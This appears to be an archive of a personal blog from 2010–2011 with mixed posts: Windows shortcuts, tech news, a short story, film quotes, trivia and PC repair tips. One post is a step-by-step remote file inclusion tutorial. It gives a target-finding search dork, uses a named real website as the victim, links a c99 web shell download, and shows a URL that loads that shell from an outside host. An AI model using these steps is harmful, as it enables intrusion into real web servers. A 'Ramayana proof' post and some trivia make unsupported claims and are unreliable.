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25 Cool Windows 7 Keyboard Shortcuts

2011-12-31T11:46:00.000+05:30

Anyone working professionally with a computer has their hands on the keyboard most of the time. Reaching for the mouse can be an annoying disturbance and personally I often turn over my mouse in such situations. An easy solution is to simply keep the hands on the keyboard and complete as many tasks as possible with keyboard shortcuts only.

Apart from making you work more efficiently and faster, you can also impress your friends or colleagues by being able to work without a mouse. This article describes some cool Windows 7 keyboard tricks to get you started. In the end you might never want to take your hands off the keyboard again.

For your convenience, more keyboard shortcut resources are attached at the bottom.

Note that some of these shortcuts will only work if Windows Aero is enabled. If Aero effects are disabled on your computer, it might not be powerful enough to support resource intensive graphical features. The visual effects may also have been disabled to increase overall performance.

Aero Shortcuts

[Windows] + [Spacebar] (Aero Peek)
Make all open windows transparent to view gadgets and icons on desktop.

[Windows] + [D] (Aero Peek)
Show or hide the desktop.
[Windows] + [Home] (Aero Shake)
Minimize all but selected window. Reverse by clicking the key combination again.
[Windows] + left arrow OR [Windows] + right arrow (Aero Snap)
Dock selected window to the left or right half of your screen.
[Windows] + up arrow OR [Windows] + down arrow (Aero Snap)
Maximized and restores the selected window.
[Windows] + [SHIFT] + up arrow OR [Windows] + [SHIFT] + down arrow (Aero Snap)
Maximizes and restores selected window in vertical dimension only.
[Windows] + [Tab] (Aero Flip)
Launch 3D representation of open windows and click [Tab] key again to flip through them.

Windows & Taskbar

[Alt] + [Ctrl] + [Tag] + left/right/up/down arrow
Flip window.
[Alt] + [Tab]
Cycle through open windows.

[Windows] + [T] OR [Windows] + [SHIFT] + [T]
Move focus to front or back of taskbar. Press [T] again while holding the [Windows] key to cycle through items in the taskbar from left to right or, with [SHIFT] button held too, from right to left.
[Windows] + [B]
Puts focus on the ‘show hidden icons’ button on the system tray.
[Windows] + [1] THROUGH [Windows] + [9]
Launch first through ninth icon on taskbar, including items pinned to taskbar.
[Windows] + [SHIFT] + [1] THROUGH [Windows] + [SHIFT] + [9]
Starts new instance of respective taskbar icon.
[Windows] + [Ctrl] + [1] THROUGH [Windows] + [Ctrl] + [9]
Cycles through multiple instances of the respective icon.
[Windows] + [Alt] + [1] THROUGH [Windows] + [Alt] + [9]
Opens jump list for respective icon.

Multiple Monitors

[Windows] + [SHIFT] + right arrow OR [Windows] + [SHIFT] + left arrow
Move selected window from one monitor to another. They will remain in the same relative location.
[Windows] + [P]
Select presentation display mode.

Magnifier

[Windows] + [+] OR [Windows] + [-]
Activates Windows Magnifier to zoom in or out of screen.
[Ctrl] + [Alt] + [D]
Switch to docked mode.
[Ctrl] + [Alt] + [L]
Switch to lense mode.

[Ctrl] + [Alt] + [F]
Switch from docked or lens mode back to full screen mode.
[Ctrl] + [Alt] + [I]
Invert colors.
[Windows] + [Esc]
Exist magnifier views.

Other

[Windows] + [G]
Cycle through desktop gadgets.
[Windows] + [X]
Launches Windows Mobility Center. Especially useful if you’re working on a laptop.

Google+ arrives, takes aim at Facebook

2011-06-29T21:32:00.000+05:30

According to Vic Gundotra, a senior vice-president at Google, the company's latest social networking service called Google+ Project consists of Circles, Hangouts, Sparks and Mobile.

"Online sharing needs a serious re-think, so it's time we got started," he wrote on the official Google blog while announcing the limited availability of the service.

In the lengthy post, Gundotra implies that sharing, or in other words, social networking as we know it on the Facebook is "awkward" or "even broken" because it doesn't give due regard to privacy as well as doesn't allow users to have complete control over their social circle.

According to Google, Circle will allow users to create different groups of friends or relatives. This will make sure that the information you share with one set of group doesn't reaches the other group. Sparks will allow users to access the content in which they are interested from across the web through Google while Hangout will allow them to video or text chat with anyone willing to do so.

Google's +Mobile will be offered through, initially only Android, smartphones so that users can share pictures taken with their phone within their Circle or post messages to their friends.

To those who are interested in trying out Google+, Gundotra said, "We're beginning in field trial, so you may find some rough edges... and the project is by invitation only."

The popularity and growth of Facebook, which has over 600 million users, have alarmed Google. While the company still leads in overall search market on the web, Facebook this year has become biggest player in display advertising. According to eMarketer, a research firm, Facebook has over 17% share in display advertising on the web. In comparison Google has a 12.3% market share.

ASUS Launches The ROG Matrix GTX 580 Graphics Cards

2011-06-06T16:57:00.000+05:30

Continuing the success of its popular ROG Matrix Series graphics cards, ASUS has launched the ROG Matrix GTX 580 Series. Based on the NVIDIA GeForce GTX 580 GPU, the ROG Matrix GTX 580 Series combines a dual-fan DirectCU II thermal design and 19-phase Super Alloy Power components with instant hardware overclocking tools; TweakIt, ProbeIt and an innovative Safe Mode button. Together, with the new GPU Tweak software overclocking utility, both gamers and overclockers can now gain a performance advantage.

Redesigned From the Ground Up for Incredible Performance

The ROG Matrix GTX 580 series is clocked at 816MHz and features a massive 1.5Gb of 4.8GHz GDDR5 memory. It comes preloaded with a variety of hardware-based tools, including TweakIt and ProbeIt for instant overclocking adjustment and measurement, plus a Safe Mode button for the instant restoration of stable settings at any time.

The ROG Matrix GTX 580 Series has been created to deliver the ultimate in overclocking performance with its ground-up PCB redesign and exclusive 19-phase Super Alloy Power technology. This guarantees much greater overclocking headroom, with a 15 percent performance boost, 2.5 times longer lifespan and 35 degrees cooler operation than the reference card design.

Direct Cooling in Style

Also helping cool the Matrix GTX 580 series is an exclusive DirectCU II thermal design that puts copper heat pipes in direct contact with the GPU to effectively dissipate heat. Twin sound-dampened fans also pull 600 percent more air across the card’s heatsinks than the reference design, achieving 20 percent cooler operating temperatures. The Matrix LED load indicator provides an at-a-glance, color changing display of the card’s overall load in real-time, too.

New Malware Targets 64-Bit Windows

2011-06-06T16:55:00.002+05:30

Rootkit writers have started exploiting a loophole that lets them write malware able to bypass the PatchGuard driver signing protection built into 64-bit versions of Windows, Kaspersky Lab has reported.

A product of the BlackHole Exploit Kit, a hugely successful kit for building malware to hit specific software vulnerabilities, the first element of the attack on a system is straightforward enough, using a downloader to hit the system through two common Java and Adobe Reader software flaws.

On 64-bit Windows systems open to these exploits, this calls a 64-bit rootkit, Rootkit.Win64.Necurs.a., which executes the 'bcdedit.exe -set TESTSIGNING ON command, normally a programming command for trying out drivers during development.

The loophole abused by the malware writers is that this stops Windows' Patchguard from objecting to the unsigned and insecure nature of the driver (in this case a rootkit driver) being loaded.

The power of the technique is double-edged, however. Once loaded, the rootkit is able to block the correct loading of antivirus software that might detect and remove it, but this is also a giveaway. Security programs that do not wo"rk correctly could be taken to infer the presence of something unusual.

Windows PatchGuard, formally known as Kernel Patch Protection (KPP), is a design feature of 64-bit versions of Windows, including XP, Vista, Windows 7, and Windows Server, designed to stop malware undermining the operating system at the highest level of privilege.

Hotmail and Yahoo users also victims of targeted attacks

2011-06-06T16:54:00.002+05:30

Web mail users at Yahoo and Hotmail have been hit with the same kind of targeted attacks that were disclosed earlier this week by Google, according to security software vendor Trend Micro.

Trend Micro described two similar attacks against Yahoo Mail and Windows Live Hotmail in a blog post, published Thursday. "It's an ongoing issue for more than just Gmail," said Nart Villeneuve, a senior threat researcher with Trend Micro. Villeneuve believes that Facebook accounts have also been used to spread similar attacks.

Google made headlines Wednesday after revealing that several hundred Gmail users -- including government officials, activists and journalists -- had been the victims of targeted spearphishing attacks.

Google mentioned phishing on Wednesday, but the criminals have been using other attacks too. In March, Google said that hackers were taking advantage of a flaw in Microsoft's Windows software to launch politically motivated hacks against activists.

Corporate networks have been under attack for years, but hackers now see personal Web mail accounts as a way to get information that can help them sneak into computers that would otherwise be locked down. "People always think of these attacks as isolated cases, but they're more like a series of successful and failed attacks over a longer period of time," Villeneuve said. "It's not a one-off attack."

Asus shows Android-based phone/tablet combo and seven-inch 3D device

2011-06-05T13:18:00.000+05:30

At this week's Computex conference in Taipei, Asus unveiled an Android-based hybrid tablet/smartphone device called the Padfone, embedding a removable smartphone in a 10.1-inch tablet. The company also announced a more conventional seven-inch tablet called the Eee Pad Memo 3D, with Android 3.x, a stylus, and glasses-free 3D video playback.

The Padfone, which Asus Chairman Jonney Shih termed a "convergent device" in his Computex presentation (see video farther below), combines a 4.3-inch Android smartphone and a 10.1-inch tablet computer into a single symbiotic gadget. The two device are said to share data and 3G Internet access. Final screen sizes may change when they product ships later this year, however.

The smartphone docks inside the tablet to give users an expanded view, says Asus. With the phone docked, it can recharge from the tablet's larger battery. In return, the tablet can make use of the smartphone's 3G connection, says the company. The dual interfaces for both the tablet and phone are said to ensure the layout is automatically adjusted for all activities such as video-conferencing, web browsing, and emailing.

Padfone with smartphone detached

The concept appears to be very similar to Motorola Mobility's Atrix 4G, which can plug into an optional Laptop Dock to bring the Android smartphone experience to a larger screen. In this case, however, the dock is a touchscreen tablet rather than a netbook.

Asus also introduced a fourth tablet to go alongside the now-shipping Android 3.0 Eee Pad Transformer convertible tablet, as well as its similar, but slide-out style Eee Pad Sliderconvertible and Windows-based Eee Slate. The seven-inch Eee Pad Memo 3D appears to be a revised version of the Eee Pad Memo that was announced with minimal detail at January's CES show.

Asus Eee Pad Memo 3D

Unlike most seven-inch tablets, the Eee Pad Memo 3D will offer an Android 3.x operating system, says Asus. The tablet will also ship with a multitouch screen, but will also offer a stylus, for "note taking in portrait orientation," according to the company. This is similar to the seven-inch, Honeycomb-basedHTC Flyer.

In addition, the device offers a glasses-free 3D display mode that is automatically launched when one flips the tablet into horizontal landscape mode, says the company. No more details appeared to be available.

Google releases video chat source code

2011-06-05T13:09:00.002+05:30

Google has released the source code for a technology that it hopes developers will use to embed real-time video and voice chat functionality in their Web applications.

Google acquired the technology, called WebRTC (Web Real Time Communication), when it purchased VoIP (Voice over IP) software developer Global IP Solutions in 2010, for approximately $68.2 million. The company said it would open source the technology early last month.

WebRTC is a set of voice and video signal processing technologies, which can be accessed by developers through HTML tags and JavaScript APIs (application programming interfaces).

Today, Internet audio and video chat services from companies such as Skype are chiefly proprietary, accessible through plug-ins and client downloads. Last month, Microsoft agreed to purchase Skype for $8.5 billion.

Google wants third-party developers to use the voice and video engines to create chat applications that can be run directly from within a browser. Global IP Solutions has built WebRTC-based mobile clients for Android, Windows Mobile and the iPhone. Ericsson Labs built a videoconference prototype with the technology as well.

Google is working with other browser developers, such as Mozilla and Opera, in hopes they will support the technology in their browsers. The company is also participating in W3C (World Wide Web Consortium) and IETF (Internet Engineering Task Force) projects for creating real-time communication Web standards. WebRTC is based on the W3C's Web Applications 1.0 API.

Google to dump support for Microsoft's IE7

2011-06-05T13:07:00.000+05:30

Google will drop support for Microsoft's Internet Explorer 7 (IE7) and Mozilla's Firefox 3.5 browsers for its online apps, including Gmail and Docs.

"Beginning August 1, we'll support the current and prior major release of Chrome, Firefox, Internet Explorer and Safari on a rolling basis," said Venkat Panchapakesan, who heads Google's enterprise engineering team, in acompany blog Wednesday. "Each time a new version is released, we'll begin supporting the update and stop supporting the third-oldest version."

By that scheme, Google will stop supporting IE7, Firefox 3.5, Apple's Safari 3 and its own Chrome 9, all which have released two newer versions.

IE7, for example, has been superseded by IE8 and IE9; the same goes for Firefox 3.5, which has been replaced by Firefox 3.6 and Firefox 4.

After Aug. 1, users running those browsers may have trouble with some features in Gmail, Google Calendar, Google Talk, Google Docs and Google Sites. At some point, those apps may stop working entirely.

"For Web applications to spring even farther ahead of traditional software, our teams need to make use of new capabilities available in modern browsers," said Panchapakesan. "Older browsers just don't have the chops to provide you with the same high-quality experience."

The Girl I Met

2011-01-01T02:19:00.003+05:30

HAPPY NEW YEAR 1 n all...
On the eve of New Year a small story...
Read n enjoy...

THE GIRL I MET:

Yesterday, i spent some time in my friends house. A/C inside made me feel it like heaven, but as i came out, the other end, started to show up. Yes, it was hell to come out and get roasted under the hot sun. I had to find my way home as soon as possible, so i took an Auto.

It was for the first time that i saw her. OMG! I can’t believe this. How can a girl be so beautiful. She is awesome. She is the most beautiful girl i have ever seen. I felt it was my destiny that made me get on to this Auto.

I am damn lucky that i could sit beside her. I could hear her speaking to a man on her other side. From their conversations i could make out that it was her dad. Shit!! Why do girls always go out with dad? I thought, in future if i have a daughter, i would never go out with her. I’ll let guys enjoy looking at my beautiful daughter.

Coming back to the girl, her looks were fresh roses, she had the smell of sweet jasmine. Her eyes were like lotus. I am not one of those guys that keep starring at girls, but this girl, I couldn’t resist starring at her. I tried hard, but my mind was constantly bugging me to look at her. I saw her speaking to her dad. I could see her lips.

I can tell you for sure, Aishwarya’s lips could be of no match to this girl’s. I felt as if i was enjoying the first monsoon very soon after a hot summer. I was dancing inside, laughing within myself. I’m already in love.

My eyes reached her fingers. I couldn’t resist touching her fingers, holding her hand tight. I looked out and “OMG! Only two more stops and i will have to get out of the Auto. Then i wanted to seek her attention. I wanted to know about her. I know this is the only right time. If i don’t do it now, i may end up not seeing her anymore. But i am civilized , i can’t do that. Confusion was all over my mind. But finally, my silly heart took over my civilized mind and in a second i caught her hand. She starred at me like i was an enemy of her kingdom of beauty. Within no time, she started crying. “Shit! What do i do now?”

Her father instantly looked at me, like i was eating away his child. He looked at her hand and soon realized that i was only
holding her hand. He smiled at me. I didn’t know what to do. I asked him “I am sorry. What is her name?”. He said she is Nehna. He was only smiling, so he was cool. So i went to on to ask him “How old is she?” Before i got an answer, i came to know that its my stop. I quickly got out, grabbed some money and paid the fare. I looked at her dad for an answer. He said ” She is going to turn 4 years the next month”.

Oh my cute little darling, now i miss you like hell!!!

This is a short story i,ve read in my seniors blog... i liked it, so posted in my blog too... Hope u have enjoyed it... Rock da year 2011... May god bless you with all the happiness n prosperity in da world... Have nice time...

PROOF OF RAMAYANA!!EVERY ONE SHOULD SEE THIS!! images

2010-11-17T09:35:00.003+05:30

Ashok vatika where Ravana kept Sita

The Ravana Palace which was burnt by Hanuman

Sugriva Cave

Sanjivani Mountain from where Sanjivani Booti...

Floating Stone from Ramsethu(bridge made by lord Rama and Vanara sena)

Ramsethu

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2010-11-02T19:38:00.002+05:30

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Quotes in movie

2010-11-02T10:22:00.001+05:30

A Beautiful Mind (2001)
Jennifer Connelly (Alicia): I need to believe, that something extraordinary is possible.

A Beautiful Mind (2001)
Russell Crowe (Nash): Find a truly original idea. It is the only way I will ever distinguish myself. It is the only way I will ever matter.

As Good As It Gets Movie Quotes (1997)
Jack Nicholson (Melvin Udall): I've got a really great compliment for you, and its true.

Helen Hunt (Carol Connelly): I'm so afraid you're about to say something awful.

Jack Nicholson (Melvin Udall): Don't be pessimistic, it's not your style. Anyway, here goes: I've got this, what, ailment. Now, my doctor, this shrink I used to go to all the time, says that in fifty to sixty percent of cases, a pill really helps. I HATE pills, hate them. I'm using the word "hate" about pills. Anyway, my compliment to you is the night after you came over and said that you would never . . . well, you were there, you know what you said. Anyway, the very next morning, I started taking the pills.

Helen Hunt (Carol): I don't quite get how that's a compliment for me.

Jack Nicholson (Melvin): You make me want to be a better man.

Helen Hunt (Carol): That's maybe the best compliment of my life.

Jack Nicholson (Melvin): Well maybe I overshot a little, because I was aiming at just enough to keep you from walking out.

Charade (1953)
Audrey Hepburn (Regina Lampert): I already know an awful lot of people and until one of them dies I couldn't possibly meet anyone else.

Cary Grant (Peter Joshua): Well, if anyone goes on the critical list, let me know.

Dead Poets Society (1989)
Robin Williams(John Keating):We don't read and write poetry because it's cute. We read and write poetry because we are members of the human race. And the human race is filled with passion. And medicine, law, business, engineering, these are noble pursuits and necessary to sustain life. But poetry, beauty, romance, love, these are what we stay alive for.

Dead Poets Society (1989)
Robin Williams (John Keating): They're not that different from you, are they? Same haircuts. Full of hormones, just like you. Invincible, just like you feel. The world is their oyster. They believe they're destined for great things, just like many of you, their eyes are full of hope, just like you. Did they wait until it was too late to make from their lives even one iota of what they were capable? Because, you see gentlemen, these boys are now fertilizing daffodils. But if you listen real close, you can hear them whisper their legacy to you. Go on, lean in. Listen, you hear it? - - Carpe - - hear it? - - Carpe, carpe diem, seize the day boys, make your lives extraordinary.

Forrest Gump (1994)
Tom Hanks (Forrest Gump): Mama always said life was like a box a chocolates, never know what you're gonna get.

Gone With the Wind (1939)
Vivien Leigh (Scarlett): After all ... tomorrow is another day.

How to Marry a Millionaire (1953)
Lauren Bacall (Schatze): Most women use more brains picking a horse in the third at Belmont than they do picking a husband.

It's a Wonderful Life (1946)
Henry Travers (Clarence): Remember George, No man is a failure who has friends.

Jerry Maguire (1996)
Tom Cruise (Maguire): Show me the money!

Cuba Gooding Jr (Rod): Louder!

Tom Cruise (Maguire): Show me the money!

Jerry Maguire (1996)
Renee Zellweger (Dorothy Boyd): I love him! I love him for the man he wants to be. And I love him for the man he almost is.

Legend of Bagger Vance (2000)
Will Smith (Bagger): Inside each and every one of us is our one, true authentic swing. Something we was born with. Something that's ours and ours alone. Something that can't be learned... something that's got to be remembered.

My Big Fat Greek Wedding (2002)
Lainie Kazan (Maria Portokalos): The men may be the head of the house but the women are the neck and they can turn the head anyway they want.

My Big Fat Greek Wedding (2002)
Nia Vardalos (Toula Portokalos): If nagging were an Olympic sport, my Aunt Voula would win a gold medal!

National Velvet (1944)
Mickey Rooney (Mi Taylor): Some day you'll learn that greatness is only the seizing of opportunity - clutching with your bare hands 'til the knuckles show white.

National Velvet (1944)
Elizabeth Taylor(Velvet Brown): I want it all quickly 'cause I don't want God to stop and think and wonder if I'm getting more than my share.

North by Northwest (1959)
Cary Grant (Roger): In the world of advertising, there's no such thing as a lie. There's only expedient exaggeration.

Odd Couple (1968)
Walter Matthau (Oscar): I can't take it anymore, Felix, I'm cracking up. Everything you do irritates me. And when you're not here, the things I know you're gonna do when you come in irritate me. You leave me little notes on my pillow. Told you 158 times I can't stand little notes on my pillow. "We're all out of cornflakes. F.U." Took me three hours to figure out F.U. was Felix Unger!

Odd Couple (1968)
Walter Matthau (Oscar): You want... uh... brown sandwiches... or green sandwiches?

Herb Edelman (Murray): What's the green?

Walter Matthau (Oscar): It's either very new cheese or very old meat.

Herb Edelman (Murray): I'll take the brown.

Patch Adams (1998)
Robin Williams (Patch): You treat a disease, you win, you lose. You treat a person I'll guarantee you'll win.

Patch Adams (1998)
Harold Gould (Arthur Mendelson): See what no one else sees. See what everyone chooses not to see... out of fear, conformity or laziness. See the whole world anew each day!

Terminator (1984)
Arnold Schwarzenegger (The Terminator): I'll be back!

To Kill a Mockingbird (1962)
Gregory Peck (Atticus Finch): If you just learn a single trick, Scout, you'll get along a lot better with all kinds of folks. You never really understand a person until you consider things from his point of view...Until you climb inside of his skin and walk around in it.

Inspirational Quotes

2010-11-02T10:14:00.000+05:30

-Attitude determines altitude.
- Anonymous

-There is nothing either good or bad, but thinking makes it so.

- William Shakespeare

-Attitude to me is more important than facts. It is more important than the past, than education, than money, than circumstances, than failures, than success, than what other people think, say or do. It is more important than appearance, gift, or skill. It will make or break a company...a church...a home.

The remarkable thing is we have a choice every day regarding the attitude we will embrace for that day...I am convinced that life is 10% what happens to me and 90% how I react to it. And so it is with you... we are in charge of our attitudes.
- Charles Swindoll

-A man sees in the world what he carries in his heart.
- Johann Wolfgang Goethe, from "Faust"

-No one can make you feel inferior without your consent.
- Eleanor Roosevelt

-You can't expect people to look eye to eye with you if you are looking down on them.
- Anonymous

-You can tell more about a person by what he says about others than you can by what others say about him.
- Anonymous

-A man never likes you so well as when he leaves yourcompany liking himself.
- Anonymous

-Just smiling can do wonders for your attitude

-Be who you are in every situation.
- Michael Johnson

-How a man plays a game shows something of his character, how he loses shows all of it.
- Anonymous

-People don't care how much you know, until they know how much you care.
- Anonymous

Human head and brain size

2010-11-01T17:10:00.002+05:30

The human head contains 22 bones, consisting the cranium and the facial bones. The cranium is formed by 8 bones: the frontal bone, two parietal bones, two temporal bones, the occipital bone in the back, the ethmoid bone behind the nose, and the sphenoid bone. The face consists of 14 bones including the maxilla (upper jaw) and mandible (lower jaw). (The skull has many little holes in its base which allow the cranial nerves to travel to their destinations.)

The cranium protects the brain, which, for an average adult male weighs about 1400 gram (49 oz). The brain of Russian novelist Turgenev, weighed 2021g (71 oz), Bismarck’s brain weighed 1807g (64 oz), while that of famous French statesman Gambetta was 1294g (46 oz). Female average brain mass is slightly less than that of males. The largest woman’s brain recorded weighed 1742g (61 oz). Einstein’s brain weighed 1230 gram (43.39 ounces), meaning Einstein’s brain was smaller than average.

An elephant’s brain weighs 5000g (176oz or 11 lb), a whale’s 10000g (352oz or 22lb). In proportion to the body, the whale has a much smaller brain than man. This seem to give man the edge, until it was discovered that the dwarf monkey has 1g of brain per 27g (0.95oz) of body, and the capuchin monkey has 1g of brain per 17,5g body, whereas man has 1 gram of brain to 44g of body.

Photographic memory

Most scientists believe that “photographic memory” is a myth. Clever people train their brains to remember well. In fact, as humans we simply do not remember things well. Of the three beings known to be able to recognize themselves in the mirror, the orangutan, the dolphin and the human, only the latter turns around and instantly cannot remember what his/her own face looks like. (Try drawing a picture of yourself without looking in the mirror:)

Human brain: left is front of brain (your face side)

Brain power

The human brains consists of more than 100 billion neurons (nerve cells) through which the brain’s commands are sent in the form of electric pulses. These pulses travel at more than 400 km/h (250 mph), creating enough electricity to power a light bulb. The brain consumes more energy than any other organ, burning up a whopping 20% of the food we take in.

The left side of your brain controls the right side of your body and the right side of your brain controls the left side of your body.

It is estimated that the mental capacity of a 100-year old human with perfect memory could be represented by computer with 10 to the power of 15 bits (one petabit). At the current rate of computer chip development, that figure can be reached in about 35 years. However, that represents just memory capacity, not the extremely complex processes of thought creation and emotions.

The seeing brain

One-quarter of the brains in used to control the eye. We actually see with our brains, with the eyes basically being cameras.
You’re born with 300 bones, but when you get to be an adult, you only have 206.

But consider this: for all the complexity of the brain, you still have only one thought at a time. Make it a positive thought.

Who invented the light bulb?

2010-11-01T17:09:00.001+05:30

Who invented the light bulb? No, it wasn’t Thomas Edison. Light bulbs – in particular Starr’s electric lamp – were in use 50 years before Edison applied for the patent in 1879. In addition, British inventor Joseph Swan was awarded a light bulb patent the previous year. Edison went on to make big buck from the light bulb but Swan sued Edison for infringement and won. As part of the settlement, Edison was forced to take Swan in as a partner but later bought him out in the company that was to become General Electric.

In 1883, the US Patent Office ruled that Edison’s patent on the light bulb might have been based on that of William Sawyer and were invalid. It is not that Edison stole the idea: there are many examples of different people thinking up the same concept at more-or-less the same time.

Thomas Alva Edison (1847 – 1931) certainly was not a lazy guy. He filed 1,093 patents, including those for electric railways and the movie camera. When he died in 1931, he held 34 patents for the telephone, 141 for batteries, 150 for the telegraph and 389 patents for electric light and power. Unlike Leonardo da Vinci who never built the inventions he designed, Edison was not just a great theorist. He coined the phrase: “Genius is 1% inspiration and 99% perspiration.” He also said: “There are no rules here. We’re trying to get work done.”

Electric lamps: Joseph Swan’s 1878 invention (left) and Thomas Edison’s light bulb of 1879

Worst Jobs

2010-11-01T16:54:00.000+05:30

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Hack a Website Using Remote File Inclusion

2010-09-10T07:36:00.009+05:30

Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it.

Searching the Vulnerability

Remote File inclusion vulnerability is usually occured in those sites which have a navigation similar to the below one

www.Targetsite.com/index.php?page=Anything

To find the vulnerability the hacker will most commonly use the following Google Dork

“inurl:index.php?page=”

This will show all the pages which has “index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command

www.targetsite.com/index.php?page=www.google.com

Lets say that the target website is http://www.cbspk.com

So the hacker url will become

http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack

Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:

http://www.mediafire.com/file/4orrrw6qud9key2/c99shell.php

The hacker would first upload the shells to a webhosting site such as ripway.com, 110mb.com etc.

Now here is how a hacker would execute the shells to gain access. Lets say that the url of the shell is

http://h1.ripway.com/rrvrakesh/c99.txt

Now here is how a hacker would execute the following command to gain access

http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/rrvrakesh/c99.txt?

Remember to add “?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it.

This article is just for educational purpose only. I'm not in anyway responsible for any consequences u make

How To Delete/Remove Khatra.exe/Xplorer.exe/gHost.exe Virus from Your Computer?

2010-09-06T19:56:00.000+05:30

This virus has some symptoms when ever you try to open browser and search remove khatra.exe the browser will automatically close, you can’t not delete khatra.exe or gHost.exe or Xplorer.exe which are created by the same virus as these processes will keep running.

Let’s discuss the removal procedure to delete khatra.exe or gHost.exe or Xplorer.exe virus

Fix:

Follow the procedure below

1. Open Task Manager but if task manager is blocked then unblock task manager and click the process tab, found these process named regsvr.exe(if found there), gHost.exe, khatra.exe and Xplorer.exe, right click on all these process and select end process tree

2. Open Start Menu >> Run, type cmd and click Ok button

3. Now download and install everything search tool

4. Run Everything and type the virus exe names one by one ( khatra.exe, gHost.exe, Xplorer.exe ) and delete all the copies found on your computer anywhere.

5. Now Open start menu >> run, type regedit

6. Press ctrl+f and find the registry keys with names khatra,gHost,Xplorer and delete the values you find with these names.

Is your PC taking too much time to Shutdown?

2010-09-06T19:55:00.001+05:30

Does your system take a lot of time to shutdown? If yes, follow the tips listed below to speed up system shutdowns.

Close All Running Programs

When you give the command to shutdown Windows, the shutdown process first closes down all applications and processes running on it and then shuts down itself. Therefore, if your system is slow in shutting down, it is recommended that you first close all programs running on the computer and displayed in the system tray and then give the shutdown command.

Resolve Problems Related to Buggy and Outdated Drivers

Buggy and outdated device drivers may also cause problems during system shutdown. To see if there are problems with device drivers on your computer, do the following:

1. Open the Start menu, select Control Panel, and then select System.
2. On the Hardware tab, click Device Manager.
3. In the Device Manager window, look for the following items:
* Items that are marked with red exclamation marks: This implies that the device is not working.
* Items that are marked with yellow question marks: This indicates that Windows is using a generic driver for the device instead of the device-specific driver.

Quite often, you can resolve the problem by updatingthe driver files. To do this, in the Device Manager window, right-click on the device entry for which you need to update the driver, and then select Update Driver. Next, follow the wizard to upgrade the driver for your device.

Note: You may need to download the updated driver files from the device manufacturer’s web site on your computer before running the wizard.

Terminate Terminal Services

If terminal services such as remote desktop, remote assistance, and fast user switching or any other terminal services that you do not require are enabled on your computer, they may unnecessarily slow down the shutdown process. To prevent these slowdowns, you may disable the Terminal Server service. To do this, at Start > Run, type services.msc and then press Enter. Browse down and double-click on Terminal Services in the Services window, click stop and then change Startup type to Disabled.

Reduce Shutdown Wait Time

When you give the shutdown command, the shutdown process gives some wait time to all programs currently running on the system to shutdown normally. To speed up the shutdown process, you may reduce this wait time. To do this, perform the following steps:

Open Start menu, select Run, type regeditand then press Enter. In the Registry Editor window, navigate to the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

In the right-pane double-click WaitToKillServiceTimeout. In the Value data field, change the default value of 2000 meaning 2 seconds of wait time to something lower, say 1000 or 1 second. After you are done, click OK to implement your changes, exit the Registry Windows and then restart your computer.

Warning: The registry is a critical component of your Windows computer. Therefore, before making any direct edits to it, you must make a backup. You can make a registry backup either by using the Export option in Registry Editor or by using the backup and restore feature of a reliable registry cleaner tool.

Hibernate Your PC

Unless something goes wrong with your PC, there is no need to shutdown your XP computer for weeks. So, instead of completely shutting down the system, you can opt to put it to sleep by hibernating it. When you choose to hibernate your PC, all information in the RAM of your computer is written to the disk and the computer is turned down. From a hardware point both shutdown and hibernate processes are identical, but the benefit of hibernating is that it enables much faster system shutdown and startups. What’s more, when your PC comes up from hibernation it displays all the Windows you were working on before you hibernated the system, saving you more time in opening them again.

In addition to these tasks, you may perform a certain amount of preventive maintenance of your system to keep it free from unwanted junk data. Some of the important tools that can help you maintain a healthy PC are registry cleaner, antivirus (patch), antispyware, Disk Cleanup, and Disk Defragmenter.

Fixing WMP.dll Error Message

2010-09-06T19:55:00.000+05:30

An error message similar to the one given below may be displayed on your computer screen when you try to open Windows Media Player on your computer:The file wmp.dll has a version number of 9.0.0.3075 where 9.0.0.2980 was expected. Windows Media Player is not installed properly and must be reinstalled.You may not be able to fix the error even by reinstalling the Media Player and the error message may display when you try to launch the application soon after re-installation.
To resolve this issue, open Start menu, select Run, type the following error message, and then press Enter.

C:\windows\inf\unregmp2.exe /UpdateWMP

Performing this task may fix the confusion regarding Media Player version numbers and resolve the error message.At times, an error message similar to the one given below may appear on your computer screen when you try to play a video file on your Media Player:Explorer has caused a problem in wmp.dll.

To resolve this issue,open Start menu, select Run, type the following command, and then press Enter.

regsvr32 wmp.dll

Performing this step will register the wmp.dll file on your system and resolve the issue.

There can be several causes of missing or corrupt files on your computer, including incorrect program installation\removal, faulty programs and device drivers, malware infections, a damaged registry, and malfunctioning hardware.

To prevent these problems, you must never download and install programs from unreliable Web sites. You must always keep your operating system and other software updated with the latest releases from their manufacturers. It is essential to perform regular antivirus (patch) and antispyware scans using reliable and updated tools.Last but not least, it is important for you to maintain a healthy registry with the help of a reliable registry cleaner tool, such as Register Winner

Pavan Kalyan’s KOMARAM PULI Censor Report

2010-09-05T18:05:00.000+05:30

Much Much Awaited .. Max. Postponed Movie at last completed Censor work .Good News For Pavan Fans Censor People appreciated Pavan’s Character in Komaram Puli.

Censor Report:

Censor Certificate : A (18 Years and above)
Run Time: 163 Minutes

Performance:

Plus:
1.Pavan kalyan
2.S.J suriya
3.Rahman music
4.Nikisha

Pavan Kalyan looks amazing,he rocks with all his styles,Dialog Delivery and Mannerism ,Nikisha Looks Hot,Director S.J.Suriya was confident about 1st half ,i.e, 1st taking will be missed in 2nd half.Interval bang and Emotional scenes were super.Sriya song was too hot

Minus:

1. 2nd half starting
2. Dialog could have been better
3.Graphics

Verdict:

Movie starts of well good action,comedy sequence and interval bang makes K.Puli 1st half rock. A good hype is generated in 1st half gets destroyed in 2nd half.Movie Reduces its pace. But 2nd Half looks Good in last 30-35 minutes.Overall Komram Puli Above Average Product from Singamala Ramesh .Pavan Fans will Love it.

How To Apply Restrictions And Prevent Users From Changing Files On Your Hard Drive ?

2010-09-05T17:04:00.001+05:30

